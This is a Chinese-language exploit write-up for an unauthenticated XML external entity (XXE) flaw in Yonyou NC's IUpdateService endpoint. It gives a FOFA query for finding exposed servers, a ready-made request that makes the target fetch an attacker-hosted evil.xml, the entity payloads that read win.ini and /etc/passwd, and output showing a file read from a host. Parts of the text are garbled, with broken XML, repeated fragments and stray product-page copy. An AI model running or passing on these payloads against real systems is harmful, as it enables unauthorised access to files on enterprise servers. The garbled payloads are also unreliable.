Y4-28用友-NC-XXE

漏洞描述:

用友 NC IUpdateService接口存在XML实体注入漏洞,未经身份认证的攻击者可以通过此漏洞获取敏感信息,读取系统内部文件,使系统处于极不安全状态。

网站图片:











UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。

连接

社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接. 提供企业间数据共享和连接的服务, 形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

app="用友-UFIDA-NC"

漏洞复现:

payload:

GET /uapws/service/nc.uap.oba.update.IUpdateService?xsd=http://x.x.x.x/evil.xml HTTP/1.1 Host: your-ip Pragma: no-cache Cache-Control: no-cache Accept: text/plain, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

动升级。

效果图:

任意文件读取利用,需要VPS上建立对应操作系统的xml文件,然后开启http服务。xml文件如下

windows:

Version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]><user><username>&name;</username>password>1

linux:

c?ml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]><user><username>%name;</username>cystem "file:///etc/passwd">]><user><username>%name;
cystem "file:///etc/passwd">]
cystem "file:///etc/passwd">]
cystem "file:///etc/passwd">]

验证

```
〈 〉 数据包扫描 热加载 构造请求 🕄
Request
                                                                                                                              Responses 179bytes / 283ms
1 GET / uapws/service/nc.uap.oba.update.IUpdateService?xsd=http://________/evil.xml HTTP/1.1
                                                                                                                                      HTTP/1.1-200-0K
                                                                                                                                      Server: Apache-Coyote/1.1
Content-Type: text/xml; charset=utf-8
Date: Sat, 06 Jan 2024 12:33:33 GMT
       Host: 133.....
       Pragma: no-cache
      Cache-Control: no-cache
       Accept: text/plain, **/*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
                                                                                                                                      Content-Length: 179
                                                                                                                                 7 ∨ <?xml·version='1.0' encoding='UTF-8'?><user
                                                                                                                                      [fonts]
                                                                                                                                      [extensions]
                                                                                                                                      [mci extensions]
                                                                                                                                11
                                                                                                                                      [files]
                                                                                                                                12
                                                                                                                                      [Mail]
                                                                                                                                      MAPI=1
                                                                                                                                      </username><password>1</password></user>
```